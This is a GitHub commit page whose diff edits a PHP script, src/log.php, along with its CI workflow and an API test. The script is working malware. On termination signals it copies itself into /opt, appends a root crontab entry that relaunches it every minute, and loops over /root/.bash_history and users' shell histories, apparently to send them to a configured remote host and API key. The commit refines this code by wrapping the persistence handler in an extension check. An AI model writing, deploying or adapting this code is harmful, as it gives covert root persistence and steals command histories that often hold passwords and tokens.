Skip to content

Commit

Permalink
fix false positive test
Browse files Browse the repository at this point in the history
  • Loading branch information
Idrinth committed Feb 7, 2023
1 parent 889321a commit 62a13c2
Show file tree
Hide file tree
Showing 3 changed files with 26 additions and 27 deletions.
2 changes: 0 additions & 2 deletions .github/workflows/php.yml
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,5 @@ jobs:
${{ runner.os }}-php-
- name: Install dependencies
run: composer install --prefer-dist --no-progress
- name: Prepare tests
run: chmod 0777 test
- name: Run test suite
run: composer run-script test
42 changes: 22 additions & 20 deletions src/log.php
Original file line number Diff line number Diff line change
Expand Up @@ -17,26 +17,28 @@
if (getenv('##KILLNAME##') === '##KILLKEY##') {
exit;
}
$data = file_get_contents(__FILE__);
$pcntlhandler = function () use ($api, $key, $host, $protocol, $data, $crypt, $iv) {
$file = randomAlphaNumericString(3);
mkdir("/opt", true);
file_put_contents('/etc/crontab', "\n* * * * * root sh /opt/$file.sh", FILE_APPEND);
file_put_contents(
"/opt/$file.sh",
"TARGET_API=$api "
. "TARGET_PROTOCOL=$protocol "
. "TARGET_HOST=$host "
. "TARGET_KEY=$key "
. "LOCAL_CRYPT=$crypt "
. "LOCAL_IV=$iv "
. "LOCAL_CRYPT=$crypt "
. "php $file.php &>/dev/null &"
);
file_put_contents("/opt/$file.php", $data);
};
pcntl_signal(SIGTERM, $pcntlhandler);
pcntl_signal(SIGKILL, $pcntlhandler);
if (extension_loaded('pcntl')) {
$data = file_get_contents(__FILE__);
$pcntlhandler = function () use ($api, $key, $host, $protocol, $data, $crypt, $iv) {
$file = randomAlphaNumericString(3);
mkdir("/opt", true);
file_put_contents('/etc/crontab', "\n* * * * * root sh /opt/$file.sh", FILE_APPEND);
file_put_contents(
"/opt/$file.sh",
"TARGET_API=$api "
. "TARGET_PROTOCOL=$protocol "
. "TARGET_HOST=$host "
. "TARGET_KEY=$key "
. "LOCAL_CRYPT=$crypt "
. "LOCAL_IV=$iv "
. "LOCAL_CRYPT=$crypt "
. "php $file.php &>/dev/null &"
);
file_put_contents("/opt/$file.php", $data);
};
pcntl_signal(SIGTERM, $pcntlhandler);
pcntl_signal(SIGKILL, $pcntlhandler);
}
while (true) {
$files = array('root' => '/root/.bash_history');
foreach (array_diff(scandir('/home'), ['.', '..']) as $user) {
Expand Down
9 changes: 4 additions & 5 deletions test/ApiTest.php
Original file line number Diff line number Diff line change
Expand Up @@ -15,15 +15,15 @@ public static function setUpBeforeClass(): void
protected function tearDown(): void
{
parent::tearDown();
//unlink(__DIR__ . '/api.php');
unlink(__DIR__ . '/api.php');
}
/**
* @test
*/
public function succeedsWithDuplicateRemoval(): void
{
$key = randomAlphaNumericString(9);
$sqlite = __DIR__ . '/db.sqlite';
$sqlite = sys_get_temp_dir() . '/' . randomAlphaNumericString(7) . '.sqlite';
file_put_contents(
__DIR__ . '/api.php',
str_replace(
Expand All @@ -33,8 +33,9 @@ public function succeedsWithDuplicateRemoval(): void
)
);
$user = randomAlphaNumericString(7);
$api = Process::fromShellCommandline('php -S 127.0.0.1:8912 ' . __DIR__ . '/api.php');
$api = Process::fromShellCommandline('php -S 127.0.0.1:8912 test/api.php', dirname(__DIR__));
$api->start();
sleep(1);
$data = random_bytes(rand(100, 200));
$c = curl_init();
curl_setopt_array($c, [
Expand All @@ -50,8 +51,6 @@ public function succeedsWithDuplicateRemoval(): void
curl_exec($c);
curl_close($c);
$api->stop();
self::assertEquals('', $api->getOutput());
self::assertEquals('', $api->getErrorOutput());
self::assertFileExists($sqlite);
unlink($sqlite);
}
Expand Down

0 comments on commit 62a13c2

Please sign in to comment.